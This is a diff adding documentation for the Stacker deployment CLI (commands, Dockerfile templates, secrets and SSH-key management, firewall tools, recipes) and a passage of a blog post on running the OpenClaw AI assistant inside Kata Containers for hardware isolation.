+```dockerfile +FROM nginx:alpine +COPY . /usr/share/nginx/html +EXPOSE 80 +``` + +### `node` +```dockerfile +FROM node:20-alpine +WORKDIR /app +COPY package*.json ./ +RUN npm ci --production +COPY . . +EXPOSE 3000 +CMD ["node", "server.js"] +``` + +### `python` +```dockerfile +FROM python:3.12-slim +WORKDIR /app +COPY requirements.txt ./ +RUN pip install --no-cache-dir -r requirements.txt +COPY . . +EXPOSE 8000 +CMD ["python", "-m", "uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8000"] +``` + +### `rust` +```dockerfile +FROM rust:1.77-alpine +WORKDIR /app +RUN apk add --no-cache musl-dev +COPY . . +RUN cargo build --release +EXPOSE 8080 +CMD ["./target/release/app"] +``` + +### `go` +```dockerfile +FROM golang:1.22-alpine +WORKDIR /app +COPY go.mod ./ +COPY go.sum ./ +RUN go mod download +COPY . . +RUN go build -o /app/server . +EXPOSE 8080 +CMD ["/app/server"] +``` + +### `php` +```dockerfile +FROM php:8.3-fpm-alpine +WORKDIR /var/www/html +RUN docker-php-ext-install pdo pdo_mysql +COPY . . +EXPOSE 9000 +``` + +### `custom` +No Dockerfile is generated. You must provide either `app.dockerfile` or `app.image`. + +> **Customisation:** To modify the generated Dockerfile, deploy once with `--dry-run`, edit `.stacker/Dockerfile`, then deploy again with `--force-rebuild`. + +--- + +## Validation Rules + +Stacker validates your configuration both syntactically (YAML structure) and semantically (cross-field logic). Run `stacker config validate` to check. + +### Errors (deployment will fail) + +| Code | Rule | Field | +|------|------|-------| +| `E001` | Cloud deployment requires `deploy.cloud.provider` | `deploy.cloud.provider` | +| `E002` | Server deployment requires `deploy.server.host` | `deploy.server.host` | +| `E003` | Custom app type requires `app.image` or `app.dockerfile` | `app` | + +### Warnings (deployment may have issues) + +| Code | Rule | Field | +|------|------|-------| +| `W001` | Port conflict — multiple services bind the same host port | `services.ports` | + +### Example output + +``` +$ stacker config validate +Configuration issues: + - [E001] Cloud provider configuration is required for cloud deployment (deploy.cloud.provider) + - [W001] Port 8080 is used by multiple services: api, worker (services.ports) +``` + +--- + +## CLI Commands Reference + +| Command | Description | +|---------|-------------| +| `stacker init` | Initialize a new project — generates `stacker.yml` and `.stacker/` directory (Dockerfile + docker-compose.yml) | +| `stacker deploy` | Build and deploy the stack; cloud deploys also install a local SSH backup key when possible | +| `stacker status` | Show container status | +| `stacker logs` | Show container logs | +| `stacker secrets` | Manage local `.env` secrets or remote Vault-backed service/server secrets | +| `stacker destroy` | Tear down the stack | +| `stacker config validate` | Validate `stacker.yml` | +| `stacker config show` | Display resolved configuration | +| `stacker config fix` | Interactively fix missing required config fields | +| `stacker config setup ai` | Configure `ai.*` settings without hand-editing YAML | +| `stacker env` | Show or switch the active deploy environment/profile | +| `stacker login` | Authenticate with TryDirect | +| `stacker ai ask` | Ask the AI assistant a question | +| `stacker proxy add` | Add a reverse-proxy domain entry | +| `stacker proxy detect` | Detect running reverse proxies | +| `stacker cloud firewall add` | Open cloud-provider firewall ports without SSH | +| `stacker cloud firewall remove` | Remove Stacker-managed cloud-provider firewall rules | +| `stacker cloud firewall list` | List cloud-provider firewall rules for a server | +| `stacker ssh-key generate` | Generate a Vault-backed SSH key pair for a server | +| `stacker ssh-key show` | Display the public SSH key for a server | +| `stacker ssh-key upload` | Upload an existing SSH key pair for a server | +| `stacker ssh-key inject` | Repair Vault-key trust using an already-working private key | +| `stacker service add` | Add a service from the template catalog to `stacker.yml` | +| `stacker service list` | List available service templates (20+ built-in) | +| `stacker agent health` | Check Status Panel agent connectivity and health | +| `stacker agent status` | Display agent snapshot — containers, versions, uptime | +| `stacker agent logs ` | Retrieve container logs from the remote agent | +| `stacker agent restart ` | Restart a container via the agent | +| `stacker agent deploy-app` | Deploy or update an app container on the target server; use `--env ` to select an environment/profile | +| `stacker agent remove-app` | Remove an app container (optional volume/image cleanup) | +| `stacker agent configure-proxy` | Configure Nginx Proxy Manager via the agent; use `--no-ssl` for plain HTTP hosts | +| `stacker agent configure-firewall` | Configure guest OS firewall rules via the Status Panel agent | +| `stacker agent history` | Show recent agent command execution history | +| `stacker agent exec` | Execute a raw agent command with JSON parameters | +| `stacker update` | Check for CLI updates | + +### `stacker init` flags + +| Flag | Description | +|------|-------------| +| `--app-type ` | Application type: `static`, `node`, `python`, `rust`, `go`, `php`, `custom` | +| `--with-proxy` | Include reverse-proxy (nginx) configuration | +| `--with-ai` | Use AI to scan the project and generate a tailored `stacker.yml` | +| `--ai-provider ` | AI provider: `openai`, `anthropic`, `ollama`, `custom` (default: `ollama`) | +| `--ai-model ` | AI model name (e.g. `gpt-4o`, `claude-sonnet-4-20250514`, `qwen2.5-coder`, `deepseek-r1`) | +| `--ai-api-key ` | AI API key (or set `OPENAI_API_KEY` / `ANTHROPIC_API_KEY` env var) | + +`stacker init` generates: +- `stacker.yml` — project configuration +- `.stacker/Dockerfile` — generated Dockerfile (skipped if `app.image` or `app.dockerfile` is set) +- `.stacker/docker-compose.yml` — generated compose definition (skipped if `deploy.compose_file` is set) +- `.stacker/scenarios/qwen2.5-code/website-deploy/state.json` — saved only when the qwen website scenario bootstrap is accepted + +```bash +# Init +stacker init # Auto-detect project type +stacker init --app-type node --with-proxy # Explicit type + proxy +stacker init --with-ai # AI-powered generation (Ollama default) +stacker init --with-ai --ai-model qwen2.5-coder # Specify Ollama model +stacker init --with-ai --ai-provider ollama --ai-model deepseek-r1 +stacker init --with-ai --ai-provider openai --ai-api-key sk-... +stacker init --with-ai --ai-provider anthropic --ai-model claude-sonnet-4-20250514 + +# AI init environment variables (override CLI defaults) +# STACKER_AI_PROVIDER — AI provider (openai, anthropic, ollama, custom) +# STACKER_AI_MODEL — Model name +# STACKER_AI_API_KEY — API key (generic, provider-specific vars also supported) +# STACKER_AI_ENDPOINT — Custom endpoint URL +# STACKER_AI_TIMEOUT — Request timeout in seconds (default: 300) +# OPENAI_API_KEY — OpenAI API key (used when provider is openai) +# ANTHROPIC_API_KEY — Anthropic API key (used when provider is anthropic) +STACKER_AI_TIMEOUT=900 stacker init --with-ai # 15 min timeout for slow models +``` + +If the project is a simple HTML or Next.js website and the Ollama model is +`qwen2.5-code` or `qwen2.5-coder`, Stacker can offer a website deployment +scenario immediately after `stacker init --with-ai`. That bootstrap reads the +generated config first, asks only for missing deploy inputs, and stores the +scenario state under `.stacker/scenarios/qwen2.5-code/website-deploy/`. + +### `stacker deploy` flags + +```bash +stacker deploy --target local # Deploy locally +stacker deploy --target cloud # Deploy to cloud +stacker deploy --target local --dry-run # Generate files without deploying +stacker deploy --file custom.yml # Use a custom config file +stacker deploy --force-rebuild # Force regenerate .stacker/ artifacts + +``` + +> +> **Troubleshooting:** On deploy build/runtime failures, Stacker attempts AI-assisted diagnosis using your configured AI provider. If AI is unavailable, it prints fallback fix suggestions. +> **Note:** `deploy` reuses existing `.stacker/Dockerfile` and `.stacker/docker-compose.yml` if present (e.g. from `stacker init`). Use `--force-rebuild` to regenerate them. +> **SSH access:** After a successful cloud deploy, Stacker creates or reuses a +> local backup key in the user-scoped Stacker config directory and authorizes its +> public key on the server when possible. It prints a copy-paste-ready `ssh -i` +> command; the Vault private key is not exported to the CLI. +> **IP persistence:** If a cloud/server install pauses or fails after the +> installer has reported an IP address, Stacker saves that discovered IP in the +> local deployment context and persists it server-side when possible. + +### Remote secrets + +```bash +# Discover deployable service/app targets for the current project +stacker secrets apps + +# Store a Vault-backed secret for one service/app target +stacker secrets set S3_BUCKET \ + --scope service \ + --service upload \ + --body superbucket + +# Remote reads return metadata only, never plaintext values +stacker secrets list --scope service --service upload --json +stacker secrets get S3_BUCKET --scope service --service upload --json + +# Push stored remote secrets into the target's runtime env +stacker secrets push --service upload +stacker secrets push --service upload --env prod +# Aliases: stacker secrets deploy --service upload +# stacker secrets apply --service upload +``` + +Service-scoped remote secrets target the codes listed by `stacker secrets apps`. +Those codes include the main app, registered `stacker.yml` services, and +supported image-backed services extracted from `deploy.compose_file` during +cloud/server deploy preparation. A service secret is rendered only into the +matching service/app target. + +Deleting a service-scoped secret removes it from the next rendered +`/home/trydirect/project/.env`; stale values are not preserved. If the remote +runtime env changed outside Stacker, Stacker refuses to overwrite it unless the +operation is explicitly forced. + +`stacker secrets push --service ` is the explicit "apply stored secrets +now" command. It renders the runtime env for that target and sends it to the +Status agent; it does not create, update, or reveal secret values. Use +`--env ` for one command, or `stacker env ` to persist the active +environment/profile for later `stacker agent deploy-app` and +`stacker secrets push` commands. + +MCP config inspection uses the same classification model. `get_app_env_vars` +retains the legacy redacted object response but also emits +`environment_entries[]`, where Vault-backed keys are marked with +`secure=true` and `source="vault"` even if the variable name itself would not +match older secret-name heuristics. + +### Other commands + +```bash +# Logs +stacker logs # All services +stacker logs --service postgres # Specific service +stacker logs --follow # Stream logs +stacker logs --tail 100 # Last 100 lines +stacker logs --since 1h # Logs from the last hour + +# Status +stacker status # Table format +stacker status --json # JSON output +stacker status --watch # Auto-refresh + +# Destroy +stacker destroy --confirm # Required flag (safety guard) +stacker destroy --confirm --volumes # Also remove volumes + +# Config +stacker config validate # Check stacker.yml +stacker config validate --file prod.yml +stacker config show # Display resolved config +stacker config setup ai --provider ollama --endpoint http://localhost:11434 --model llama3 --task dockerfile --task troubleshoot + +# AI +stacker ai ask "How can I optimise this Dockerfile?" +stacker ai ask "Why is my container crashing?" --context ./logs.txt +stacker ai ask "continue" --scenario website-deploy --step image-publish +stacker ai --scenario website-deploy --step runtime-ops + +# Proxy +stacker proxy add example.com --upstream http://app:3000 --ssl auto +stacker proxy detect + +# Update +stacker update # Check stable channel +stacker update --channel beta # Check beta channel + +# Config +stacker config fix # Interactively fix missing fields +stacker config fix --file prod.yml # Fix a specific config file +stacker config setup ai # Configure ai.* interactively +``` + +### `stacker ssh-key` — SSH Key Management + +Manage Vault-backed SSH keys for your deployed servers. Server automation keys +are stored securely in HashiCorp Vault. Cloud deploys also maintain a separate +local backup key under the Stacker config directory so users can connect with a +normal `ssh` command. + +```bash +# Generate a new SSH key pair for a server +stacker ssh-key generate --server-id 42 + +# Generate and save the private key locally +stacker ssh-key generate --server-id 42 --save-to ~/.ssh/my-server.pem + +# Show the public SSH key +stacker ssh-key show --server-id 42 +stacker ssh-key show --server-id 42 --json # JSON output + +# Upload an existing SSH key pair +stacker ssh-key upload --server-id 42 \ + --public-key ~/.ssh/id_rsa.pub \ + --private-key ~/.ssh/id_rsa + +# Repair a server that no longer trusts the Vault public key +stacker ssh-key inject --server-id 42 --with-key ~/.ssh/existing-private-key +``` + +`ssh-key generate` manages the server-side Vault key. `ssh-key inject` is a +repair command: it uses `--with-key` as a bootstrap private key that already +works on the server, then appends the Vault public key to `authorized_keys`. It +does not install your local key on the server. + +Automatic cloud-deploy backup keys are stored outside the project directory: + +```text +~/.config/stacker/ssh/server-42_ed25519 +~/.config/stacker/ssh/server-42_ed25519.pub +``` + +If `$XDG_CONFIG_HOME` is set, Stacker uses +`$XDG_CONFIG_HOME/stacker/ssh/` instead. + +### `stacker service` — Service Template Catalog + +Add services to your `stacker.yml` from a built-in catalog of 20+ templates. Each template includes a production-ready image, default ports, environment variables, and volumes. + +```bash +# Add a service (creates backup, checks for duplicates) +stacker service add postgres +stacker service add redis +stacker service add wordpress # auto-adds mysql dependency + +# Use aliases +stacker service add wp # → wordpress + mysql +stacker service add pg # → postgres +stacker service add es # → elasticsearch + +# Specify a custom stacker.yml path +stacker service add mongodb --file ./configs/stacker.yml + +# List all available templates +stacker service list # offline catalog (20+ services) +stacker service list --online # also query marketplace API +``` + +**Built-in services:** postgres, mysql, mariadb, mongodb, redis, memcached, rabbitmq, traefik, nginx, nginx_proxy_manager, wordpress, elasticsearch, kibana, qdrant, telegraf, phpmyadmin, mailhog, minio, portainer + +**Aliases:** `wp`→wordpress, `pg`/`postgresql`→postgres, `my`→mysql, `mongo`→mongodb, `es`→elasticsearch, `mq`→rabbitmq, `pma`→phpmyadmin, `mh`→mailhog, `npm`→nginx_proxy_manager + +### `stacker agent` — Agent Control + +Manage the Status Panel agent deployed on your target server. All commands communicate through the Stacker API using a **pull-based architecture** — the CLI enqueues commands, the agent polls for work, executes locally, and reports results. + +Every command supports: +- `--json` — machine-readable JSON output +- `--deployment ` — target a specific deployment (auto-resolved if omitted) + +**Deployment hash resolution order:** `--deployment` flag → `DeploymentLock` (from a previous deploy) → `stacker.yml` project identity → API lookup. + +```bash +# Health & status +stacker agent health # Check agent connectivity +stacker agent health --app nginx # Health of a specific container +stacker agent status # Agent snapshot: containers, versions, uptime +stacker agent status --json # JSON output + +# Logs +stacker agent logs my-app # Fetch container logs +stacker agent logs my-app --lines 200 # Last 200 lines +stacker agent logs my-app --json # JSON output + +# Container lifecycle +stacker agent restart my-app # Restart a container +stacker agent deploy-app --app my-app --image myorg/myapp --tag v2.1 +stacker agent remove-app --app my-app # Remove container +stacker agent remove-app --app my-app --remove-volumes --remove-images + +# Reverse proxy +# Managed Status Panel + Nginx Proxy Manager deploys auto-seed default Vault credentials. +# Update or repair those credentials with: +# stacker secrets set npm_credentials --scope server --server-id --body-file ./npm_credentials.json +stacker agent configure-proxy --app my-app --domain app.example.com --ssl +stacker agent configure-proxy --app my-app --domain app.local --no-ssl + +# History & raw commands +stacker agent history # Recent command history +stacker agent exec --command-type health # Raw command +stacker agent exec --command-type stacker.exec --params '{"container":"app","command":"ls -la"}' + +# Install Status Panel on an existing deployed server +stacker agent install # Remote install only; leaves local stacker.yml unchanged +stacker agent install --persist-config # Also write monitoring.status_panel=true to local stacker.yml + +# Target a specific deployment +stacker agent status --deployment abc123def +``` + +### AI-assisted agent control + +The AI assistant can manage the agent via built-in tools: + +```bash +# AI agent control in write mode +stacker ai ask --write "check if the agent is healthy" +stacker ai ask --write "show me the logs for the nginx container" +stacker ai ask --write "deploy app my-service with image myorg/myapp:latest" + +# Interactive chat +stacker ai --write +> what's the status of the agent? +> restart the postgres container +``` + +### AI-assisted service addition + +The AI assistant can also add services via the `add_service` tool: + +```bash +# AI adds services using the template catalog +stacker ai ask --write "add wordpress and redis to my stack" +stacker ai ask --write "I need a postgres database with custom port 5433" + +# Interactive chat mode +stacker ai --write +> add elasticsearch and kibana for logging +``` + +### Firewall Management + +Stacker has two firewall surfaces: + +| Command | Scope | Requires SSH/agent | +|---------|-------|--------------------| +| `stacker cloud firewall` | Cloud-provider firewall such as Hetzner Cloud Firewall | No SSH required | +| `stacker agent configure-firewall` | Guest OS firewall rules on the deployed server | Requires Status Panel agent | + +#### Cloud provider firewall + +Use `stacker cloud firewall` when a provider firewall blocks a public app port +after deployment. For example, Coolify publishes port `8000`, so this opens the +Hetzner Cloud Firewall without SSH-ing to the server: + +```bash +stacker cloud firewall add --public-ports 8000/tcp +stacker cloud firewall add --server-id 42 --public-ports 8000/tcp +stacker cloud firewall remove --server-id 42 --public-ports 8000/tcp +stacker cloud firewall list --server-id 42 +``` + +The CLI sends a provider-neutral `stacker.cloud_firewall.v1` message to Stacker +API. Stacker validates server/cloud ownership, hydrates cloud credentials +server-side, then publishes `install.firewall.{provider}.v1` to Install Service. +The CLI never receives cloud provider tokens. + +Existing protocol note: the Status Panel agent schema already defines a +`FirewallPortRule` shape (`port`, `protocol`, `source`, `comment`) and cloud +deploy already sends `client_public_ports`/`ports_list` for initial provisioning. +Those are reused where appropriate, but `stacker.cloud_firewall.v1` is the +canonical post-deploy provider firewall protocol. + +#### Guest OS firewall (iptables) + +Stacker provides MCP tools for configuring iptables firewall rules on target servers. Rules can be derived from Ansible role port definitions or specified manually. + +#### Execution Methods + +| Method | Description | When to use | +|--------|-------------|-------------| +| **Status Panel** | Commands executed via Status Panel agent | Preferred — runs directly on target | +| **SSH** | Commands executed via SSH/Ansible | Fallback for servers without Status Panel | + +#### Port Types + +| Type | Source | Use case | +|------|--------|----------| +| **Public** | `0.0.0.0/0` (any IP) | HTTP, HTTPS, public APIs | +| **Private** | Specific CIDR | Databases, internal services | + +#### MCP Tools + +**`configure_firewall`** — Configure iptables rules on a deployment: + +```json +{ + "deployment_hash": "abc123", + "public_ports": [ + {"port": 80, "protocol": "tcp"}, + {"port": 443, "protocol": "tcp"} + ], + "private_ports": [ + {"port": 5432, "protocol": "tcp", "source": "10.0.0.0/8", "comment": "PostgreSQL"} + ], + "action": "add", + "persist": true, + "execution_method": "status_panel" +} +``` + +**`list_firewall_rules`** — List current iptables rules: + +```json +{ + "deployment_hash": "abc123" +} +``` + +**`configure_firewall_from_role`** — Auto-configure from Ansible role: + +```json +{ + "role_name": "postgres", + "deployment_hash": "abc123", + "action": "add", + "private_network": "10.0.0.0/8" +} +``` + +#### Actions + +| Action | Description | +|--------|-------------| +| `add` | Add firewall rules | +| `remove` | Remove firewall rules | +| `list` | List current rules | +| `flush` | Remove all rules | + +#### AI-assisted firewall management + +```bash +# Configure firewall via AI +stacker ai ask --write "open ports 80 and 443 publicly" +stacker ai ask --write "allow postgres port 5432 from internal network only" + +# Interactive chat +stacker ai --write +> configure firewall to allow HTTP and HTTPS +> add private port 3306 for MySQL from 10.0.0.0/8 +``` + +--- + +## Recipes + +### Static website +```yaml +name: my-website +app: + type: static + path: ./dist +deploy: + target: local +``` + +### Node.js API with PostgreSQL +```yaml +name: my-api +app: + type: node + path: . +services: + - name: postgres + image: postgres:16 + ports: + - "5432:5432" + environment: + POSTGRES_DB: api_db + POSTGRES_PASSWORD: ${DB_PASSWORD} + volumes: + - pgdata:/var/lib/postgresql/data +deploy: + target: local +env: + DATABASE_URL: postgres://postgres:${DB_PASSWORD}@postgres:5432/api_db +``` + +### Python Django with Redis and Nginx +```yaml +name: django-app +app: + type: python + path: . + build: + args: + DJANGO_SETTINGS_MODULE: myapp.settings.production +services: + - name: redis + image: redis:7-alpine + - name: celery + image: django-app:latest + depends_on: + - redis + environment: + CELERY_BROKER_URL: redis://redis:6379/0 +proxy: + type: nginx + domains: + - domain: myapp.example.com + ssl: auto + upstream: app:8000 +deploy: + target: cloud + cloud: + provider: hetzner + region: fsn1 + size: cx23 + ssh_key: ~/.ssh/id_ed25519 +``` + +### Rust API deployed to existing server +```yaml +name: rust-api +app: + type: rust + path: . +deploy: + target: server + server: + host: api.example.com + user: deploy + ssh_key: ~/.ssh/deploy_key +monitoring: + status_panel: true + healthcheck: + endpoint: /api/health + interval: 15s +``` + +### Pre-built image (no source) +```yaml +name: wordpress-site +app: + type: custom + image: wordpress:6-apache +services: + - name: mysql + image: mysql:8 + environment: + MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD} + MYSQL_DATABASE: wordpress + volumes: + - db-data:/var/lib/mysql +proxy: + type: nginx + domains: + - domain: blog.example.com + ssl: auto + upstream: app:80 +deploy: + target: local +``` + +### Multi-environment with interpolation +```yaml +name: ${APP_NAME} +version: ${APP_VERSION} +app: + type: node + build: + args: + NODE_ENV: ${NODE_ENV} + API_URL: ${API_URL} +services: + - name: postgres + image: postgres:${PG_VERSION} + environment: + POSTGRES_PASSWORD: ${DB_PASSWORD} +deploy: + target: ${DEPLOY_TARGET} +``` + +Run with different environments: +```bash +# Development +APP_NAME=myapp APP_VERSION=dev NODE_ENV=development \ + API_URL=http://localhost:3000 PG_VERSION=16 \ + DB_PASSWORD=devpass DEPLOY_TARGET=local \ + stacker deploy + +# Production +APP_NAME=myapp APP_VERSION=1.2.3 NODE_ENV=production \ + API_URL=https://api.example.com PG_VERSION=16 \ + DB_PASSWORD=$PROD_DB_PASSWORD DEPLOY_TARGET=cloud \ + stacker deploy +``` + +--- + +## FAQ + +**Q: Where are generated files stored?** +A: In the `.stacker/` directory. This includes `Dockerfile`, `docker-compose.yml`, and any proxy configuration. Add `.stacker/` to your `.gitignore`. + +**Q: Can I edit the generated Dockerfile?** +A: Yes. After `stacker init` (or `stacker deploy --dry-run`), edit `.stacker/Dockerfile`, then `stacker deploy` to build from your modified version. Stacker reuses existing `.stacker/` files unless `--force-rebuild` is passed. + +**Q: What if I already have a Dockerfile?** +A: Set `app.type: custom` and `app.dockerfile: ./Dockerfile`. Stacker will use yours instead of generating one. + +**Q: Do I need Docker installed?** +A: Yes. Stacker requires Docker (with Compose v2) for local deployments. For cloud deployments, Docker is provisioned on the remote server automatically. + +**Q: How do I keep secrets out of stacker.yml?** +A: Use environment variable interpolation (`${SECRET_VAR}`) and store actual values in `.env` (referenced via `env_file: .env`). Never commit `.env` to version control. + +**Q: Can I use Stacker with an existing docker-compose.yml?** +A: Yes. Set `deploy.compose_file: ./docker-compose.yml` and Stacker will use it directly without generating a new one. + +**Q: What cloud providers are supported?** +A: Hetzner, DigitalOcean, AWS, Linode, and Vultr. You must `stacker login` first and have the appropriate API keys configured in your TryDirect account. + +--- + +## File Structure + +After `stacker init`, your project will look like: + +``` +my-project/ +├── stacker.yml ← Your configuration (you write this) +├── .stacker/ ← Generated artifacts (auto-created) +│ ├── Dockerfile ← Generated Dockerfile +│ └── docker-compose.yml ← Generated compose definition +├── .env ← Secrets (optional, gitignored) +├── src/ ← Your application source +└── scripts/ ← Hook scripts (optional) + ├── pre-build.sh + ├── post-deploy.sh + └── notify-failure.sh +``` + +--- + +*Stacker CLI is part of the [TryDirect](https://try.direct) platform.* diff --git a/stacker/stacker/docs/blog/openclaw-kata-containers-secure-ai-deployment.md b/stacker/stacker/docs/blog/openclaw-kata-containers-secure-ai-deployment.md new file mode 100644 index 0000000..fcc6527 --- /dev/null +++ b/stacker/stacker/docs/blog/openclaw-kata-containers-secure-ai-deployment.md @@ -0,0 +1,318 @@ +--- +title: "Deploying OpenClaw with Kata Containers: Hardware-Isolated AI on Your Own Server" +date: 2026-04-07 +author: try.direct +tags: [openclaw, kata-containers, security, ai, deployment] +--- + +# Deploying OpenClaw with Kata Containers: Hardware-Isolated AI on Your Own Server + +OpenClaw is a personal AI assistant with a multi-channel gateway — think of it +as a self-hosted AI hub that connects to your tools, documents, and workflows. +Running it on your own infrastructure keeps your data private. Running it inside +Kata Containers adds **hardware-level isolation**, ensuring that even if the AI +workload is compromised, it cannot escape to your host system. + +This guide covers two ways to get started — pick whichever fits your workflow. + +## Why Kata Containers for AI Workloads? + +AI assistants like OpenClaw process sensitive data: your documents, API keys, +conversation history, and workspace files. Standard Docker containers (`runc`) +share the host kernel — a container escape exploit could expose everything on +the host. + +Kata Containers solve this by running each container inside a lightweight +virtual machine: + +| | runc (standard) | Kata | +|---|---|---| +| **Kernel** | Shared with host | Dedicated guest kernel | +| **Isolation** | Linux namespaces + cgroups | Hardware VM boundary (VT-x/EPT) | +| **Escape impact** | Full host access | Contained in VM | +| **Performance** | Native | ~5% overhead | +| **OCI compatible** | ✅ | ✅ | + +For AI workloads that handle private data, the security trade-off is +compelling: you get near-native performance with a hardware isolation boundary +that's orders of magnitude harder to bypass than namespace-based containers. + +--- + +## Path A: Deploy via TryDirect (Easiest) + +The fastest way to run OpenClaw with Kata — no Terraform, no Ansible, no +infrastructure to manage. TryDirect handles the deployment flow for you, but +Kata still requires a host with real `/dev/kvm` access. + +### 1. Create a TryDirect account + +Sign up at [try.direct](https://try.direct). If you're bringing your own +infrastructure, make sure the target host is **bare metal** or another +environment that exposes `/dev/kvm`. + +### 2. Create your stack + +From the dashboard, select **OpenClaw** from the app catalog. Choose +**Kata Containers** as the runtime. If you self-host on Hetzner, use a +**Robot bare-metal server** — Hetzner Cloud VM types (CCX, CX, CPX, CAX) do +not expose `/dev/kvm`. + +### 3. Deploy + +Click **Deploy**. TryDirect handles everything: +- Targets infrastructure with real KVM access +- Installs Docker and Kata Containers +- Generates the compose file with `runtime: kata` +- Deploys OpenClaw with hardware isolation + +You get a running OpenClaw instance with Kata isolation in minutes, accessible +via the URL shown in your dashboard. + +### 4. Manage + +Use the TryDirect dashboard or the Stacker CLI: + +```bash +stacker status # container health +stacker logs --service openclaw # view logs +stacker agent status # verify runtime: kata +``` + +> **That's it.** If you don't need full control over the infrastructure, +> TryDirect is the recommended path. Read on only if you prefer to self-host. + +--- + +## Path B: Self-Hosted Setup (Full Control) + +If you'd rather manage your own servers, you can provision and configure +everything yourself using the bare-metal guidance and Ansible files included in +the [stacker repository](https://github.com/trydirect/stacker). + +### What You Need + +- A **bare-metal server** — Hetzner Robot or any provider that exposes + `/dev/kvm` directly to your host OS +- [Ansible](https://docs.ansible.com/ansible/latest/installation_guide/) installed locally +- The [Stacker CLI](https://github.com/trydirect/stacker) installed + +> **Hetzner users:** You need a **Hetzner Robot bare-metal server**, not a +> Hetzner Cloud VM. All Hetzner Cloud VM families — CCX, CX, CPX, and CAX — +> run on a hypervisor that does **not** expose `/dev/kvm` to the guest. +> Kata Containers cannot run on any Hetzner Cloud instance type. +> See the [Hetzner KVM Guide](../kata/HETZNER_KVM_GUIDE.md) for a valid +> bare-metal setup flow. + +### Step 1: Provision a Hetzner Robot Bare-Metal Server + +Order and install the server first: + +1. Order an x86_64 dedicated server in the + [Hetzner Robot portal](https://robot.hetzner.com/). +2. Install **Ubuntu 22.04 LTS** (or another supported Linux distribution). +3. Add your SSH key and boot the server. +4. SSH into the host and verify that KVM is actually present: + +```bash +ssh root@ +ls -la /dev/kvm +lsmod | grep kvm +egrep -c '(vmx|svm)' /proc/cpuinfo +``` + +If `/dev/kvm` is missing, stop there — that host cannot run Kata Containers. + +### Step 2: Configure with Ansible + +Once the bare-metal server is online, use the Ansible playbook at +[`docs/kata/ansible/kata-setup.yml`](../kata/ansible/kata-setup.yml): + +```bash +cd stacker/docs/kata/ansible + +ansible-playbook -i , kata-setup.yml \ + --private-key ~/.ssh/id_rsa \ + --user root +``` + +The playbook: +- Validates KVM access (`/dev/kvm`) +- Installs Kata Containers from the official APT repository +- Merges the `kata` runtime into Docker's `daemon.json` +- Restarts Docker and runs a smoke test (`docker run --rm --runtime kata hello-world`) + +### Step 3: Initialize Your OpenClaw Stack + +```bash +mkdir openclaw-stack && cd openclaw-stack + +# Initialize a stacker project +stacker init + +# Add OpenClaw from the service catalog +stacker service add openclaw +``` + +This generates a `stacker.yml` with OpenClaw configured: + +```yaml +name: openclaw-stack +app: + type: custom + +services: + - name: openclaw + image: ghcr.io/openclaw/openclaw:latest + ports: + - "18789:18789" + environment: + OPENCLAW_GATEWAY_BIND: lan + volumes: + - openclaw_config:/home/node/.openclaw + - openclaw_workspace:/home/node/.openclaw/workspace +``` + +### Step 4: Deploy with Kata Isolation + +```bash +stacker deploy --runtime kata +``` + +That's it. Stacker will: + +1. **Validate** the runtime value (`kata` is accepted, unknown values are rejected) +2. **Check capabilities** — verify the target agent supports Kata +3. **Generate** the compose file with `runtime: kata` on each service +4. **Deploy** via Docker Compose on the target server + +Each OpenClaw container now runs inside its own lightweight VM with a dedicated +kernel. + +### Step 5: Verify the Deployment + +```bash +# Check container status +stacker status + +# View logs +stacker logs --service openclaw --follow + +# Verify Kata runtime is active +stacker agent status +# Look for "runtime": "kata" in the deployment details +``` + +On the server, you can also verify directly: + +```bash +ssh root@ +docker inspect openclaw | grep -i runtime +# Expected: "Runtime": "kata" +``` + +--- + +## Why This Matters for OpenClaw Specifically + +OpenClaw processes and stores: +- **Your conversations** with AI models +- **API keys** for LLM providers (OpenAI, Anthropic, etc.) +- **Workspace files** that may contain proprietary code or documents +- **Gateway configurations** that bridge multiple communication channels + +With standard `runc`, a vulnerability in OpenClaw's Node.js runtime, a +dependency supply-chain attack, or a malicious prompt injection that achieves +code execution would have direct access to the host filesystem and network. + +With Kata, that exploit is trapped inside a VM: +- It sees a minimal guest kernel, not your host +- It cannot access host files outside its mounted volumes +- It cannot inspect other containers or host processes +- Network access is mediated through a virtual NIC + +## Advanced: Mixed Runtime Stacks + +Not every service in your stack needs Kata. You can run security-sensitive +services (like OpenClaw) with Kata while keeping supporting services (like +databases) on standard `runc`: + +```yaml +services: + - name: openclaw + image: ghcr.io/openclaw/openclaw:latest + runtime: kata # Hardware-isolated + ports: + - "18789:18789" + environment: + OPENCLAW_GATEWAY_BIND: lan + volumes: + - openclaw_config:/home/node/.openclaw + - openclaw_workspace:/home/node/.openclaw/workspace + + - name: postgres + image: postgres:16 + # runtime: runc (default) — database stays on runc for performance + environment: + POSTGRES_DB: openclaw + POSTGRES_PASSWORD: ${DB_PASSWORD} + volumes: + - pgdata:/var/lib/postgresql/data +``` + +This gives you the best of both worlds: hardware isolation where it matters, +native performance where it doesn't. + +## Kata Fallback Behavior + +If you request `--runtime kata` but the agent detects that Kata is unavailable +(e.g., `/dev/kvm` missing after a host migration), the agent will: + +1. Log a `kata_fallback` warning +2. Fall back to `runc` +3. Report the fallback in the deployment result + +Stacker surfaces this warning in CLI output: + +``` +⚠ Warning: Kata runtime unavailable on target host, fell back to runc. + Reason: /dev/kvm not accessible +``` + +This ensures your deployment succeeds even if Kata becomes temporarily +unavailable, while keeping you informed about the security downgrade. + +## Performance Expectations + +Running OpenClaw with Kata vs runc: + +| Metric | runc | Kata | Difference | +|---|---|---|---| +| Container start | ~1s | ~2.5s | +1.5s (one-time) | +| Memory overhead | — | ~30 MB | VM baseline | +| HTTP latency (p99) | 2ms | 2.1ms | Negligible | +| LLM API calls | N/A | N/A | Not affected (outbound HTTPS) | +| Workspace file I/O | Native | ~95% | Minimal virtio overhead | + +For an AI assistant workload, the overhead is effectively invisible. The extra +1.5 seconds at startup and ~30 MB of memory are trivial compared to the +security benefits. + +## Summary + +| Path | What you do | What's handled for you | +|---|---|---| +| **TryDirect** | Sign up, pick OpenClaw + Kata, click Deploy | KVM-capable infrastructure, Docker, Kata, DNS | +| **Self-hosted** | Provision Robot bare metal, run `kata-setup.yml`, then `stacker deploy --runtime kata` | Compose generation, runtime injection | + +Running OpenClaw inside Kata Containers gives you: +- **Privacy**: Your AI data stays on your server, not in a cloud SaaS +- **Isolation**: Hardware-enforced VM boundary around each container +- **Simplicity**: One flag (`--runtime kata`) — 